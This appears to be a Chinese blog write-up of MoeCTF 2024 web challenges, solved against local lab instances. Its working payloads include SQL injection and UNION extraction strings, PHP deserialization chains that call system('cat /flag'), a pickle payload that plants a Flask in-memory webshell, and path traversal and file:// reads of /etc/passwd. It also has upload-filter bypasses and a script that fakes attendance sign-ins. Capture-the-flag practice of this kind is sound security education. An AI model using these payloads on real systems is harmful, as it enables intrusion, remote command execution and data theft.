MoeCTF 2024

一年一度的MoeCTF又来了,不过我好久没打过CTF了,前段时间一直在搞开发。

WEB

弗拉格之地的入口

直接进入 /robots.txt 发现 /webtutorEntry.php文件,进入即可拿到flag

ez_http

注意GET参数那里包含了中文,一定要进行url编码一次

ProveYourLove

信息:都七夕了,怎么还是单身狗丫?快拿起勇气向你 crush 表白叭,300份才能证明你的爱!

在网页源码中存在JavaScript提交检测,提交之后会在本地存储生成一个confessionSubmitted,如果值为true则点击按钮之后请求会被拦截到。

有两种解决方法,第一个比较笨拙原始,因为他是检测的本地存储,则可以自己修改

不过由于要发送三百次,那就用第二种方法,在第一次触发请求的时候用burpsuite拦截,然后用intruder模块进行发包

弗拉格之地的挑战

第一步,进入 /flag1ab.html ,查看网页源码

<!--恭喜你找到了网页的源代码,通常在这里题目会放一些提示,做题没头绪一定要先进来看一下-->
<!--flag1: bW9lY3Rm-->
<!--下一步:/flag2hh.php-->

第二步,查看消息头

flag2: e0FmdEV
nextpage: /flag3cad.php

第三步,抓包

flag3: yX3RoMXN
<a href='/flag4bbc.php'>前往下一关</a>

第四步,在HTTP头里加一个 Referer: http://localhost:8080/flag3cad.php?a=1 ,跳转到第四关

在js代码中可以只要按钮的id是9就行了,直接F12修改就行

恭喜你!你已经知道,前端的一切都是可以更改的!
flag4: fdFVUMHJ
前往:/flag5sxr.php 

第五步,前端js有检查字符串,可以直接抓包修改,或者浏览器设置里禁用JS即可

<p>恭喜,我相信你已经深刻了解了前端不可信任的道理!</p>
<p>flag5: fSV90aDF</p>
<a href='flag6diw.php'>前往下一关</a>

第六步,源码如下,moe在无模式的时候不能直接匹配到flag,但是在忽略大小写的时候要匹配到flag,那么直接传参 moe=FLAG 即可

<?php
highlight_file("flag6diw.php");
if (isset($_GET['moe']) && $_POST['moe']) {
    if (preg_match('/flag/', $_GET['moe'])) {
        die("no");
    } elseif (preg_match('/flag/i', $_GET['moe'])) {
        echo "flag6: xxx";
    }
}
flag6: rZV9VX2t

第七步,POST传参 what=system(“cat /flag7 “);

在根目录下拿到flag7,并且得到提示是base64加密,把七个flag拼一下解密就行了

flag7:  rbm93X1dlQn0= 

静态网页

F12看到有这哥/api/get的请求,进去查看将id改为0,报错引出一个新的php文件如下

<?php
highlight_file('final1l1l_challenge.php');
error_reporting(0);
include 'flag.php';

$a = $_GET['a'];
$b = $_POST['b'];
if (isset($a) && isset($b)) {
    if (!is_numeric($a) && !is_numeric($b)) {
        if ($a == 0 && md5($a) == $b[$a]) {
            echo $flag;
        } else {
            die('noooooooooooo');
        }
    } else {
        die( 'Notice the param type!');
    }
} else {
    die( 'Where is your param?');
} 

首先a和b都不能是数字,并且a的值要是0,b[a]也要等于a的md5值。

思路:a是一个md5处理后0e开头的一个字符串(因为是两个等号,弱比较,0exxxx都等于0)。b的第一个字符应该是0,并且不能是纯数字。

电院_Backend

在robots.txt中发现/admin路由,进去是登陆界面,源码有点长,这里只看有用的地方

if(!preg_match("/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/", $email)||preg_match("/or/i", $email)){
        echo json_encode(array('status' => 0,'info' => '不存在邮箱为: '.$email.' 的管理员账号!'));
        unset($_SESSION['captcha_code']);
        exit;
    }

$sql = "SELECT * FROM admin WHERE email='$email' AND pwd='$pwd'";

这里邮箱就只是一个正常邮箱格式,并且其中不能有or关键字,sql语句也只是简单的单引号闭合

密码随便输,账号如图就行了,直接截断掉了后面的pwd。

pop moe

整个pop链条是很简单的,从000到003直接走下来就行了,也不多说了

<?php

class class000 {
    private $payl0ad = 1;
    protected $what;
    function __construct()
    {
        $this->what=new class001();

    }
}
class class001 {
    public $payl0ad="dangerous";
    public $a;

    function __construct()
    {
       $this->a=new class002();

    }
}
class class002 {
    private  $sec;
    function __construct()
    {
        $this->sec=new class003();

    }

}
class class003 {
    public $mystr="phpinfo()";

}

echo serialize(new class000());

http://127.0.0.1:58271/?data=O:8:"class000":2:{s:17:"%00class000%00payl0ad";i:1;s:7:"%00*%00what";O:8:"class001":2:{s:7:"payl0ad";s:9:"dangerous";s:1:"a";O:8:"class002":1:{s:13:"%00class002%00sec";O:8:"class003":1:{s:5:"mystr";s:10:"phpinfo();";}}}}

把private和protect的不可见字符替换成%00就行了

勇闯铜人阵

典型的python题目,先查看答案在网页源码中的格式

import re
import requests

request = requests.session()
url = "http://127.0.0.1:53218/"
begin = {"player": "123", "direct": "弟子明白"}

pattern = re.compile('<h1 id="status">\s*(.+?)\s*</h1>')

# 方向映射
directions_map = {
    "1": "北方",
    "2": "东北方",
    "3": "东方",
    "4": "东南方",
    "5": "南方",
    "6": "西南方",
    "7": "西方",
    "8": "西北方"
}

def format_directions(nums):
    if len(nums) == 1:
        # 列表中只有一个数字,直接返回方向名称
        direction = directions_map.get(nums[0], "未知")
        return f"{direction}"

    formatted_directions = []
    for num in nums:
        direction = directions_map.get(num, "未知")
        formatted_directions.append(f"{direction}一个")

    return ",".join(formatted_directions)

for i in range(6):
    if i == 0:
        response = request.post(url=url, data=begin)
        print(response.text)
    else:
        direct_str = format_directions(nums)
        print(direct_str, "direct")
        response = request.post(url=url, data={"player": "123", "direct": direct_str})
        print(response.text)

    num = re.findall(pattern, response.text)[0]
    nums = re.findall(r'\d+', num)  # 直接使用提取出来的顺序
    directions = [directions_map.get(n, "未知") for n in nums]
    print(f"方向数字: {nums}")
    print(f"对应方位: {directions}\n")

Re: 从零开始的 XDU 教书生活

题目信息

  • 本题约定:所有账号的用户名 == 手机号 == 密码。教师账号用户名:10000。
  • 当浏览器开启签到页面时,二维码每 10 秒刷新一次,使用过期的二维码无法完成签到。(浏览器不开启签到页面时,不会进行自动刷新,可以持续使用有效的二维码,除非手动发送刷新二维码的请求) 当你完成任务后,请结束签到活动。你将会获得 Flag 。

也是一个写脚本的问题,只不过比铜人阵要复杂一点点,由于代码过长,这里只讲思路。

登录接口抓包可以发现,uname和password是经过加密的,加密逻辑没有直接给出,但是解密逻辑在app.py中有,可以逆推到加密方式,这样就能对每个学生进行登陆操作获取该学生的token(老师的token也能这样获取到)

#burpsuite
POST /fanyalogin HTTP/1.1
#省略掉不重要的部分
Cookie: token=4ba20ea2-5458-4d48-beaf-0e4a61bcbe08; retainlogin=1

fid=-1&uname=/LgCkbIdwG1Do95thvCwcA==&password=/LgCkbIdwG1Do95thvCwcA==&refer=https%3A%2F%2Fi.chaoxing.com&t=true&forbidotherlogin=0&validate=&doubleFactorLogin=0&independentId=0&independentNameId=0

#app.py
def decrypt_by_aes(encrypted: str, key: str, iv: str) -> str:
    key_bytes = key.encode("utf-8")
    iv_bytes = iv.encode("utf-8")
    cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)
    encrypted_bytes = base64.b64decode(encrypted)
    decrypted_bytes = cipher.decrypt(encrypted_bytes)
    pad = decrypted_bytes[-1]
    decrypted_bytes = decrypted_bytes[:-pad]
    decrypted = decrypted_bytes.decode("utf-8")
    return decrypted

#据此逆推出加密函数,可借助AI生成代码
def encrypt_by_aes(plain_text: str, key: str, iv: str) -> str:
    key_bytes = key.encode("utf-8")
    iv_bytes = iv.encode("utf-8")
    cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)

    pad = 16 - (len(plain_text) % 16)
    padded_text = plain_text + chr(pad) * pad

    encrypted_bytes = cipher.encrypt(padded_text.encode("utf-8"))

    encrypted_base64 = base64.b64encode(encrypted_bytes).decode("utf-8")
    return encrypted_base64

将老师页面的二维码另存到桌面,并且上传,可以看到是访问了这个路由并且传了参数

回到代码,其中需要手动更改的参数只有c和enc,也就是对应的全局变量,而二维码的生成逻辑里可以看出是有这两个参数的

@app.route("/widget/sign/e", methods=["GET"])
def e():
    token = request.cookies.get("token")
    if token is None or token not in token_user or token_user[token] == teacher_phone:
        return redirect("/login")
    if request.args.get("id") != str(active_id) or request.args.get("c") != sign_code or request.args.get("enc") != enc:
        return "二维码已过期。"
    uid = token_user[token]
    for i in sign_list:
        if i["uid"] == int(uid):
            if i["status"] == 0:
                if active_status == 2:
                    i["status"] = 11
                else:
                    i["status"] = 1
            return status[i["status"]]

@app.route("/v2/apis/sign/refreshQRCode", methods=["GET"])
def refreash_QRCode():
    global sign_code, enc
    sign_code = str(random.randint(3000000000000, 4000000000000))
    enc = "".join(random.choice(["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F"]) for _ in range(32))
    response = {
        "result": 1,
        "msg": "success",
        "data": {
            "enc": enc,
            "signCode":sign_code
        }, 
        "errorMsg": None
    }
    return jsonify(response)

那么整体的思路就来了:先要用老师账号登录获取到学生列表,然后获取时间戳和enc,使用学生的账号登录获取到学生token,再用学生身份把时间戳和enc带到扫描二维码的路由

完整代码

#主程序.py
from 获取学生列表 import get_student_list
from 登录获取token import getToken
from 获取时间戳和enc import get_timestamp_and_enc
from 扫描二位码 import scan_qrcode
import concurrent.futures

student_list = get_student_list()
enc, signcode = get_timestamp_and_enc()  # 获取enc和signcode

def process_student(index):
    temp_token = getToken(student_list[index])  # 获取单个学生的token
    scan_qrcode(sign_code=signcode, enc=enc, token=temp_token)  # 扫描二维码
    return index

with concurrent.futures.ThreadPoolExecutor() as executor:
    futures = [executor.submit(process_student, i) for i in range(len(student_list))]
    for future in concurrent.futures.as_completed(futures):
        i = future.result()
        print(i)
#登录获取token.py
import requests

from Crypto.Cipher import AES
import base64
import json
import re

def encrypt_by_aes(plain_text: str, key: str, iv: str) -> str:
    key_bytes = key.encode("utf-8")
    iv_bytes = iv.encode("utf-8")
    cipher = AES.new(key_bytes, AES.MODE_CBC, iv_bytes)

    pad = 16 - (len(plain_text) % 16)
    padded_text = plain_text + chr(pad) * pad

    encrypted_bytes = cipher.encrypt(padded_text.encode("utf-8"))

    encrypted_base64 = base64.b64encode(encrypted_bytes).decode("utf-8")
    return encrypted_base64

def getToken(uname):

    pattern = re.compile("token=(.*); E")
    poststr=encrypt_by_aes(uname,"u2oh6Vu^HWe4_AES","u2oh6Vu^HWe4_AES")

    url = "http://127.0.0.1:59835/fanyalogin"

    data = {
        "fid": "-1",
        "uname":f"{poststr}" ,
        "password":f"{poststr}",
        "refer": "https://i.chaoxing.com",
        "t": "true",
        "forbidotherlogin": "0",
        "validate": "",
        "doubleFactorLogin": "0",
        "independentId": "0",
        "independentNameId": "0"
    }
    headers=requests.post(url=url,data=data).headers['Set-Cookie']
    return re.findall(pattern,headers)[0]
#获取学生列表.py
import requests
import json
from 登录获取token import getToken


def get_student_list():
    # 创建一个会话
    request = requests.session()

    # 请求的URL
    url = "http://127.0.0.1:59835/widget/sign/pcTeaSignController/showSignInfo1?activeId=4000000000000&webCacheId=4000000000000&appType=15&_=1723951358863"

    teacher_token=getToken('10000')
    # 设置Cookie
    cookie = {"retainlogin": "1", "token": f"{teacher_token}"}  #用老师的身份来进行获取学生

    # 发送GET请求
    req = request.get(url=url, cookies=cookie)

    # 解析响应的JSON内容
    data = json.loads(req.text)

    # 从解析的JSON中提取name字段
    name_list = [item["name"] for item in data["data"]["changeUnSignList"]]
    print(teacher_token)
    return name_list

print(get_student_list())
#获取时间戳和enc.py
from datetime import datetime, timedelta, timezone
import json
import requests
from 登录获取token import getToken

def get_current_timestamp() -> int:
    return int(datetime.now().timestamp() * 1000)


def get_timestamp_and_enc():
    base_url= "http://127.0.0.1:62019"
    get_enc_signCode = f"{base_url}/v2/apis/sign/refreshQRCode?activeId=4000000000000&time={get_current_timestamp()}&viewFrom=&viceScreen=0&viceScreenEwmEnc="
    token=getToken("10000")

    req=requests.get(get_enc_signCode,headers={
        "Cookie":f"token={token}; retainlogin=1"
    })

    response_body=json.loads(req.content.decode())

    enc = response_body['data']['enc']
    signcode = response_body['data']['signCode']
    print(enc,signcode)
    return (enc,signcode)
#扫描二维码.py
import requests
from 获取时间戳和enc import get_timestamp_and_enc

def scan_qrcode(sign_code,enc,token):
    request= requests.session()
    url="http://127.0.0.1:62019/widget/sign/e"

    url_data=f"?id=4000000000000&c={sign_code}&enc={enc}&DB_STRATEGY=PRIMARY_KEY&STRATEGY_PARA=id"

    request.get(url=url+url_data,headers={
        "Cookie":f"token={token}; retainlogin=1"
    })

因为二维码是10秒会刷新一下,多运行几次主程序就好了。(懒得改代码)

欢迎来到垫刀之路

一个简单的命令执行,cat /flag之后提示说在环境变量中。

有可能会在/proc/1/environ里,但是遍历过后发现不存在。发现可以使用php的命令行形式来执行,搜索字符串即可

php -r "phpinfo();"

ImageCloud前置

命令执行+php伪协议读取/etc/passwd

http://127.0.0.1:53159/index.php?url=file:///etc/passwd

垫刀之路02: 普通的文件上传

mime类型抓包修改为image/jpeg即可绕过

垫刀之路03: 这是一个图床

前端文件名后缀校验,将正常木马后缀改为jpg,然后抓包改回即可

垫刀之路04: 一个文件浏览器

http://127.0.0.1:55317/?path=../../../../../../var/www/html/index.php

测试可以进行目录穿越读取数据,并且在index.php里看到了如果path是个目录还会把目录中的所有文件及目录返回到页面中,一个一个点进去看,在根目录下/tmp/flag找到

垫刀之路05: 登陆网站

抓个包设置password字段,payload可以用burpsuite自带的sql字典,也可以从网上找。

username=admin123&password=123' or '1'='1
#单引号闭合

垫刀之路06: pop base mini moe

<?php
class A {
    // 注意 private 属性的序列化哦
    private $evil;

    // 如何赋值呢
    private $a;

    function __construct()
    {
        $this->a=new B();
        $this->evil="ls";
    }

}
class B {
    private $b="system";
 
}
echo serialize(new A());

http://127.0.0.1:63135/?data=O:1:"A":2:{s:7:"%00A%00evil";s:9:"cat /flag";s:4:"%00A%00a";O:1:"B":1:{s:4:"%00B%00b";s:6:"system";}}

垫刀之路07: 泄漏的密码

页面给了pin码,进入/console路由,输入pin码进入终端。

环境变量中拿到flag

ImageCloud

题目信息给出,flag在名为flag.jpg的图片中,并且附件中flag.jpg存在于uploads文件夹。

附件中存在两个flask服务的python文件,一个是5000端口的外部云文件,保存图片路径为static,另一个是端口在5001到6000中间随机的内部云文件,保存路径是uploads。

#外部云
@app.route('/image', methods=['GET'])
def load_image():
    url = request.args.get('url')
    if not url:
        return 'URL 参数缺失', 400

    try:
        response = requests.get(url)
        response.raise_for_status()
        img = Image.open(BytesIO(response.content))

        img_io = BytesIO()
        img.save(img_io, img.format)
        img_io.seek(0)
        return send_file(img_io, mimetype=img.get_format_mimetype())
    except Exception as e:
        return f"无法加载图片: {str(e)}", 400

从外部云这里可以发现,image路由可以对内部云进行请求获取图片。

先随便上传一个图片,然后对其抓包,尝试爆破内部云端口。

http://127.0.0.1:56188/image?url=http://localhost:5412/image/flag.jpg


who’s blog?

进入题目,提示用id来进行传参。题目环境是用python搭建的,容易想到SSTI模板注入漏洞。

flag在环境变量里

PetStore

题目给出提示是关于python的pickle反序列化漏洞。

拿到源码关注导入部分的函数

    def import_pet(self, serialized_pet) -> bool:
        try:
            pet_data = base64.b64decode(serialized_pet)
            pet = pickle.loads(pet_data)
            if isinstance(pet, Pet):
                for i in self.pets:
                    if i.uuid == pet.uuid:
                        return False
                self.pets.append(pet)
                return True
            return False
        except Exception as e:
            print(f"Import failed: {str(e.decode())}")
            return False

可以看到这个路由是直接拿到数据就进行load,这里就存在反序列化漏洞,后续的不重要。

由于题目不出网,无法外带,经过信息搜集之后发现,Flask可以进行写入内存马。

下面是相关知识链接。

import pickle
import base64
import uuid
import os

class Pet:
    def __init__(self, name, species) -> None:
        self.name = name
        self.species = species
        self.uuid = uuid.uuid4()

    def __repr__(self) -> str:
        return f"Pet(name={self.name}, species={self.species}, uuid={self.uuid})"

    def __reduce__(self):
        return (eval,("__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('cmd')).read())",))


p = Pet("a", "b")
opcode = pickle.dumps(p)
opcode_encode = base64.b64encode(opcode).decode()
print(opcode_encode)

#gASVwgAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIymX19pbXBvcnRfXygic3lzIikubW9kdWxlc1snX19tYWluX18nXS5fX2RpY3RfX1snYXBwJ10uYmVmb3JlX3JlcXVlc3RfZnVuY3Muc2V0ZGVmYXVsdChOb25lLCBbXSkuYXBwZW5kKGxhbWJkYSA6X19pbXBvcnRfXygnb3MnKS5wb3BlbihyZXF1ZXN0LmFyZ3MuZ2V0KCdjbWQnKSkucmVhZCgpKZSFlFKULg==

然后将字符串进行import,即可在服务上产生一个新的监听,对cmd参数的命令执行。

还有一个更简单的解法,直接把flag存入store里

import base64
import pickle

class Test:
    def __reduce__(self):
        return (exec, ("import os; store.create_pet(os.getenv('FLAG'), 'flag');",))

if __name__ == "__main__":
    print(base64.b64encode(pickle.dumps(Test())).decode("utf-8"))

smbms

题目给出的测试sql附件中发现密码是弱密码,可以字典爆破

密码是1234567,就可以登进去了。

在获取用户列表这里是使用的直接拼接userName,再用%进行包裹。存在sql注入漏洞,是单引号闭合,只需要把后面的百分号无效化就行了。数据库的列数在sql的测试文件中有,最终尝试到14列。

孙%' union select 1,(select database()),3,4,5,6,7,8,9,10,11,12,13,14 where '1%'='1

可以看到成功爆出数据库名

孙%' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14 where '1%'='1
孙%' union select 1,(select flag from flag),3,4,5,6,7,8,9,10,11,12,13,14 where '1%'='1
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇